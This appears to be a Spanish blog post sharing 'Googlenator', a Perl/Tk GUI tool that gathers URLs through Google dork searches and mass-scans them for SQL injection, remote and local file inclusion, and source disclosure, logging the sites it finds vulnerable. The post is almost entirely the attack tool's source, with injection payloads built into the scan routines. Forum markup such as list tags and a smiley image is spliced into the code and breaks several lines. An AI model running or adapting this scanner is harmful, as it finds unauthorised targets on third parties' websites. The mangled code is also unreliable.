SQLI
RFI
LFI
Full Source Discloure
Tambien pueden buscar en google string en google con , los resultados
son guardados en una carpeta que el programa instalar al ejecutarse
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 | #!usr/bin/perl #Googlenator (C) Doddy Hackman 2011 use Tk; use Tk::ROText; use Tk::FileSelect; use URI::Split qw(uri_split); use Cwd; use WWW::Mechanize; if ($^O eq 'MSWin32') { use Win32::Console; Win32::Console::Free(); } my $nave = WWW::Mechanize->new(autocheck => 0); $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"); installer(); my $new = MainWindow->new(-background=>"black"); $new->title("Googlenator (C) Doddy Hackman 2011"); $new->geometry("780x530"); $new->resizable(0,0); $d = $new->Frame(-relief=>"sunken",-bd=>1,-background=>"black",-foreground=>"cyan"); my $scanx = $d->Menubutton(-text=>"Scan",-underline=>1,-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan")->pack(-side=>"left"); my $logsx = $d->Menubutton(-text=>"Logs",-underline=>1,-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan")->pack(-side=>"left"); $d->pack(-side=>"top",-fill=>"x"); $scanx->command(-label=>"SQL",-background=>"black",-foreground=>"cyan",-command=>\&loadsql); $scanx->command(-label=>"RFI",-background=>"black",-foreground=>"cyan",-command=>\&loadrfi); $scanx->command(-label=>"LFI",-background=>"black",-foreground=>"cyan",-command=>\&loadlfi); $scanx->command(-label=>"FSD",-background=>"black",-foreground=>"cyan",-command=>\&loadfsd); $logsx->command(-label=>"GoogleSearchs",-background=>"black",-foreground=>"cyan",-command=>\&loadgoogle); $logsx->command(-label=>"SQL",-background=>"black",-foreground=>"cyan",-command=>\&loadfilesql); $logsx->command(-label=>"RFI",-background=>"black",-foreground=>"cyan",-command=>\&loadfilerfi); $logsx->command(-label=>"LFI",-background=>"black",-foreground=>"cyan",-command=>\&loadfilelfi); $logsx->command(-label=>"FSD",-background=>"black",-foreground=>"cyan",-command=>\&loadfilefsd); my $box = $new->ROText(-background=>"black",-foreground=>"cyan",-width=> 104,-height=> 20)->place(-x =>20,-y=>60); head(); $new->Label(-background=>"black",-foreground=>"cyan",-text=>"Google : ",-font=>"Impact")->place(-y=>"380",-x=>"20"); my $google = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"30",-text=>"www.google.com.ar")->place(-x=>"80",-y=>"385"); $new->Label(-background=>"black",-foreground=>"cyan",-text=>"Pages : ",-font=>"Impact")->place(-y=>"380",-x=>"300"); my $pages = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"5",-text=>"30")->place(-y=>"385",-x=>"354"); $new->Label(-background=>"black",-foreground=>"cyan",-font=>"Impact",-text=>"Dorks : ")->place(-y=>"380",-x=>"450"); my $dorks = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"40",-text=>"index.php+id")->place(-y=>"385",-x=>"505"); $new->Button(-text=>"Search in Google",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&googler)->place(-y=>"450"); $new->Button(-text=>"About",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&about)->place(-y=>"474"); $new->Button(-text=>"Exit",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&exitx)->place(-y=>"498"); MainLoop; head(); sub googler { my $google = $google->get; my $pages = $pages->get; my $dorks = $dorks->get; head(); $box->insert("end","\t\t</li><li type="square"> Searching pages with string $dorks\n\n");[/li][/list] my @webas = google($google,$dorks,$pages); $box->insert("end","\t\t</li><li type="square"> Cleaning\n\n");[/li][/list] $box->insert("end","\t\t</li><li type="square"> Webs Found ".int(@webas)."\n\n");[/li][/list] for(@webas) { $new->update(); $box->insert("end","\t\t[Link] : ".$_."\n"); savefile($dorks.".txt",$_); } $box->insert("end","\n\t\t</li><li type="square"> All save in logs/search/".$dorks."\n");[/li][/list] $box->insert("end","\t\t</li><li type="square"> Finished\n\n");[/li][/list] } sub loadsql { $browse = $new->FileSelect(-directory => "/"); my $filea = $browse->Show; head(); $box->insert("end","\t\t</li><li type="square"> File : $filea\n");[/li][/list] open (FILE,$filea); @words = <FILE>; close FILE; chomp @words; $box->insert("end","\t\t</li><li type="square"> Webs Found : ".int(@words)."\n\n");[/li][/list] for my $page(@words) { my $page = clean($page); $new->update(); scansql($page); } sub scansql { my ($pass1,$pass2) = ("+","--"); my $page = shift; $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2); if ($code1=~/The used SELECT statements have a different number of columns/ig) { $box->insert("end","\t\t</li><li type="square"> SQLI : $page\n");[/li][/list] savefilevul("sql-logs.txt",$page); }}} sub loadrfi { $browse = $new->FileSelect(-directory => "/"); my $filea = $browse->Show; head(); $box->insert("end","\t\t</li><li type="square"> File : $filea\n");[/li][/list] open (FILE,$filea); @words = <FILE>; close FILE; chomp @words; $box->insert("end","\t\t</li><li type="square"> Webs Found : ".int(@words)."\n\n");[/li][/list] for my $page(@words) { my $page = clean($page); $new->update(); scanrfi($page); } sub scanrfi { my $page = shift; $code1 = toma($page."http:/www.supertangas.com/"); if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD $box->insert("end","\t\t</li><li type="square"> RFI : $page\n");[/li][/list] savefilevul("rfi-logs.txt",$page); }}} sub loadlfi { $browse = $new->FileSelect(-directory => "/"); my $filea = $browse->Show; head(); $box->insert("end","\t\t</li><li type="square"> File : $filea\n");[/li][/list] open (FILE,$filea); @words = <FILE>; close FILE; chomp @words; $box->insert("end","\t\t</li><li type="square"> Webs Found : ".int(@words)."\n\n");[/li][/list] for my $page(@words) { my $page = clean($page); $new->update(); scanlfi($page); } sub scanlfi { my $page = shift; $code1 = toma($page."'"); if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) { $box->insert("end","\t\t</li><li type="square"> LFI : $page\n");[/li][/list] savefilevul("lfi-logs.txt",$page); }}} sub loadfsd { $browse = $new->FileSelect(-directory => "/"); my $filea = $browse->Show; head(); $box->insert("end","\t\t</li><li type="square"> File : $filea\n");[/li][/list] open (FILE,$filea); @words = <FILE>; close FILE; chomp @words; $box->insert("end","\t\t</li><li type="square"> Webs Found : ".int(@words)."\n\n");[/li][/list] for my $page(@words) { my $page = clean($page); $new->update(); scanfsd($page); } sub scanfsd { my $page = shift; my ($scheme, $auth, $path, $query, $frag) = uri_split($page); if ($path=~/\/(.*)$/) { my $me = $1; $code1 = toma($page.$me); if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) { $box->insert("end","\t\t</li><li type="square"> Full Source Discloure : $page\n");[/li][/list] savefilevul("fsd-logs.txt",$page); }}}} sub head { $box->delete("0.0","end"); $box->insert("end"," @@@@ @@@ @@@ @@@@ @@ @@@@ @@ @@ @@ @@@@@@ @@@ @@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@ @@@ @@ @@ @@ @@@@@ @@ @@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@@@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@@ @@ @@@@ @@ @ @@ @ @ @@ @@ @@ @@@@ @@@ @@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@@@ @@@@@@ @@ @@ @@ @@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@ @@ @@@ @@ @@ @@ @@@@@ @@ @@ @@@ @@@ @@@ @@@ @@@@ @@@@ @@ @@ @@ @@ @@ @@@ @@ @@ "); } sub about { $about = MainWindow->new(-background=>"black"); $about->title("Googlenator v0.3"); $about->geometry("300x110"); $about->resizable(0,0); $about->Label(-background=>"black",-foreground=>"cyan")->pack(); $about->Label(-text=>"Contact : lepuke[at]hotmail[com]",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack(); $about->Label(-text=>"Web : doddyhackman.webcindario.com",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack(); $about->Label(-text=>"Blog : doddy-hackman.blogspot.com",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack(); } sub exitx { exit(1); } sub savefilevul { open (SAVE,">>logs/vulz/".$_[0]); print SAVE $_[1]."\n"; close SAVE; } sub toma { return $nave->get($_[0])->content; } sub dame_link { return $nave->find_all_links(); } sub clean { if ($_[0] =~/\=/) { my @sacar= split("=",$_[0]); return(@sacar[0]."="); } } sub savefile { open (SAVE,">>logs/search/".$_[0]); print SAVE $_[1]."\n"; close SAVE; } sub google { for ($pages=10;$pages<=$_[2];$pages=$pages+10) { $new->update(); toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages"); @links = dame_link(); for my $l(@links) { if ($l->url() =~/webcache.googleusercontent.com/) { push(@url,$l->url()); } } } for(@url) { if ($_ =~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt=":(" title="Triste" class="smiley" />.*?)\+/) { push(@founds,$2); } } my @founds = repes(@founds); return @founds; } sub installer { unless (-d "logs/") { mkdir("logs/","777"); mkdir("logs/search","777"); mkdir("logs/vulz","777"); } } sub repes { foreach my $palabra ( @_ ) { next if $repety{ $palabra }++; push @revisado,$palabra; } return @revisado; } sub loadgoogle { system("start ".getcwd()."/logs/search/"); } sub loadfilesql { system("start logs/vulz/sql-logs.txt"); } sub loadfilelfi { system("start logs/vulz/lfi-logs.txt"); } sub loadfilerfi { system("start logs/vulz/rfi-logs.txt"); } sub loadfilefsd { system("start logs/vulz/fsd-logs.txt"); } # ¿ The End ? |
0 comentarios: sobre [Perl] G00gl3nator
Publicar un comentario para [Perl] G00gl3nator